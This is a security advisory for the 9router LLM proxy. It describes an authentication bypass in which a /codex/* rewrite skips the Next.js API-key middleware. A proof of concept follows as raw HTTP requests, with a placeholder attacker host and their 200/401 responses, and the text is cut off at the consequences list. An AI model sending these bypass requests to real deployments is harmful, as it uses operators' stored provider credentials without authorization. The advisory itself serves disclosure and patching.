OSV 1.4.0 · github-reviewed · 修改于 2026-08-29 02:32
发布时间
2026-08-29 02:32
GitHub 审查时间
2026-08-29 02:32
NVD 发布时间
2026-07-11 01:16
源文件
advisories/github-reviewed/2026/08/GHSA-8gmq-j984-vp4r/GHSA-8gmq-j984-vp4r.json
9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.
However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.
As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.
| Component | File | Note |
|---|---|---|
| Middleware authorization gate | src/dashboardGuard.js | Protects /v1, /v1beta, /api/v1, and /api/v1beta, but not /codex |
| Rewrite configuration | next.config.mjs | Rewrites /codex/:path* to /api/v1/responses |
| LLM backend route | src/app/api/v1/responses/route.js | Dispatches rewritten requests to the LLM handler |
| Chat handler | src/sse/handlers/chat.js | Uses operator-stored provider credentials for upstream calls |
Tested version:
| Version / Commit | Runtime | Status |
|---|---|---|
v0.4.80, commit 23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56 | Next.js 16.2.9 | Affected |
The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:
PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];
Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:
return NextResponse.next();
The rewrite configuration then maps the allowed request to the protected backend route:
{
source: "/codex/:path*",
destination: "/api/v1/responses"
}
The backend route reaches the same handler used by the canonical LLM endpoint:
return await handleChat(request);
The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.
The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 401 Unauthorized
This confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.
/codex/* path bypasses the API-key gatePOST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 200 OK
The request reaches the LLM backend without an API key.
A controlled upstream provider endpoint recorded the outbound request from 9router:
POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true
This confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.
POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 404 Not Found
No upstream provider call is made. This isolates the issue to the /codex/* rewrite.
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 200 OK
This confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.
/codex/* instead of /api/v1/responses./codex/* path and does not apply the LLM API-key gate./api/v1/responses.A successful attacker can use the operator's configured LLM provider account without authentication.
Likely consequences include: